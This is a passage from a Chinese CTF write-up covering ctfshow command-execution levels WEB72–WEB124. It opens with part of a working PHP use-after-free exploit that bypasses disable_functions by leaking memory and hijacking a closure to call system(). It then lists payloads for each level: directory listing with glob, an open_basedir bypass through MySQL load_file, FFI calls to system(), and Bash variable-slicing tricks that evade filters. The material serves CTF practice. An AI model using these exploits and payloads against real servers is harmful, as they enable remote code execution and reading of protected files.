if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function my_str_repeat($a,$b){
$s = '';
for($i = 0; $i <= $b;$i++){
$s.=$a;
}
return $s;
}
function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle(my_str_repeat('A', 79));
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle(my_str_repeat('A', 79));
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
exit();
将脚本进行url编码后post传给c即可。
WEB73
用前面的方法
payload:
c=var_export(scandir('/'));exit();
c=include('flagc.txt');exit();
WEB74
scandir()被ban了,
payload:
c=$a=glob("/*");foreach($a as $value){echo $value." ";}
c=$a=opendir('/');while(($file = readdir($a)) !=false){echo $file." ";}
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
找到flagx.txt文件
然后
payload:
c=include('/flagx.txt');exit();
WEB75-WEB76
scandir()被ban了,使用glob
payload:c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo $f." ";}exit();
使用文件包含会有open_basedir的限制,绕过脚本也不管用
方法:使用sql语句来绕过
payload:
c=
try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');
foreach ($dbh->query('select load_file("/flag36.txt")') as $row) {
echo ($row[0]) . "|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
exit(0);
}
exit(0);
WEB77
题目没有变化
知识点:
FFI,php7.4以上才有?
https://www.php.net/manual/zh/ffi.cdef.php
https://www.php.cn/php-weizijiaocheng-415807.html
分析:
这题在题干中说到php7.4,可以想到FFI来绕过disable_functions
FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP的FFI扩展就是一个让你在PHP里调用C代码的技术。
通过FFI,可以实现调用system函数,从而将flag直接写入一个新建的文本文件中,然后访问这个文本文件,获得flag
方法:
绕过open_basedir()
payload:c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo $f." ";}exit();
发现两个与flag有关的文件。(flag.txt和readflag)
(使用mysql查询会有一个could not find driver不知道什么意思)
用FFI调用system函数
payload:
c= $ffi=FFI :: cdef("int system(const char *command);"); $a='/flag46x.txt?> 1.txt'; $ffi->system($a); exit();
没有用,那么flag应该就这readflag里面了。
payload:
c= $ffi=FFI :: cdef("int system(const char *command);"); $a='/readflag > 1.txt'; $ffi->system($a); exit();
然后访问1.txt
WEB118(后面的题由于环境变量或者shell类型,可能会有不一样的结果)
分析:经过fuzz测试,发现过滤了小写字母,数字,/,*等字符,空格和?没有过滤。因为windows不区分大小写,但是linux是区分大小写的,所以大小写不能绕过。
提示:flag in flag.php
知识点:
常见 Bash 内置变量介绍 Linux 基础知识:Bash的内置变量
取反号~,linux可以利用~获得变量的最后几位:
${}引用变量的高级用法
方法:
查看源代码发现我们输出的code被命令执行了。?所以我们可以利用环境变量切片来获得所需要的字母
注意linux环境变量需要大写。PWD是环境变量而pwd是命令:输出当前工作目录
通过使利用环境变量里面的字母来构造命令,输出flag.php文件?
在这里用大小写字母就等同于数字0:表示输出最后一位
提示:
根据提示可以知道这里的环境变量的路径最后是bin,当前工作目录是/var/www/html,那么就可以组成nl,
payload:${PATH:~A}${PWD:~A} ????.???
意思为nl flag.php
空格可以用${IFS}代替
WEB119?
分析:
经测试,这题相对于118过滤了PATH、BASH
知识点:
?SHLVL:记录了bash嵌套的层次,是记录多个 Bash 进程实例嵌套深度的累加器。一般来说,我们启动第一个Shell时。? $SHLVL=1。如果在这个Shell中执行脚本或者再打开shell,脚本中的$SHLVL=2 。
方法1:
/bin/cat flag.php
环境的HOME为/root
${HOME:${#HOSTNAME}:${#SHLVL}} ====> t
${PWD:${Z}:${#SHLVL}} ====> /
payload:${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???
方法2:?
/bin/base64 flag.php
${PWD:${Z}:${#SHLVL}} ====> /
random函数绝大部分产生的数字都是4位或者5位的,因此可以代替4.
所以
${#RANDOM} ====> 4
payload:${PWD:${Z}:${#SHLVL}}???${PWD: :${#SHLVL}}?????${#RANDOM} ????.???
//多试几次
WEB120
题目:
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
?>
分析:code长度benign超过65
方法:
/bin/base64 flag.php
payload:${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
WEB121
题目:
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
?>
分析:最关键的SHLVL被过滤了
方法:可以用${##}或者${#?}来代替${#SHLVL},
方法2:
${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???
使用的是/bin/rev读文件 把文件中每行逆序输出读取(最后将flag用rev 逆序处理一下就行
用到了IFS
定义字段分隔字符。默认值为:空格符、tab字符、换行字符(newline) 长度为3
PWD为 /var/www/html
刚好第三个是r
可以匹配到/bin/rev
WEB122
题目:
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
?>
分析:
这题在上题的基础上又过滤了#和PWD,PWD的绕过很简单,用HOME就可以,而$#,就换成$?
在执行命令前,先用<A,使下一次$?的报错结果为1
${}和?<A可以但是题目上${}这个不可以,所以只能用<A了
知识点:$?,获取上一条命令执行结束后的返回值,0代表成功,非0代表失败。而且这个返回值是可控的:
方法:
payload:<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
web124
[CISCN 2019 初赛]Love Math
https://blog.csdn.net/weixin_46270220/article/details/113249589?ops_request_misc=&request_id=&biz_id=102&utm_term=ctfshow%20命令执行%20web38&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduweb~default-3-.first_rank_v2_pc_rank_v29&spm=1018.2226.3001.4187
https://blog.csdn.net/qq_49480008/article/details/113177878?ops_request_misc=&request_id=&biz_id=102&utm_term=ctfshow%20命令执行%20web38&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduweb~default-8-.first_rank_v2_pc_rank_v29&spm=1018.2226.3001.4187
https://blog.csdn.net/miuzzx/article/details/109181768?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522163065115816780357256470%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=163065115816780357256470&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_v2~rank_v29-7-109181768.pc_v2_rank_blog_default&utm_term=命令执行&spm=1018.2226.3001.4450
https://www.bilibili.com/video/BV1jy4y1a7Ew?p=59
|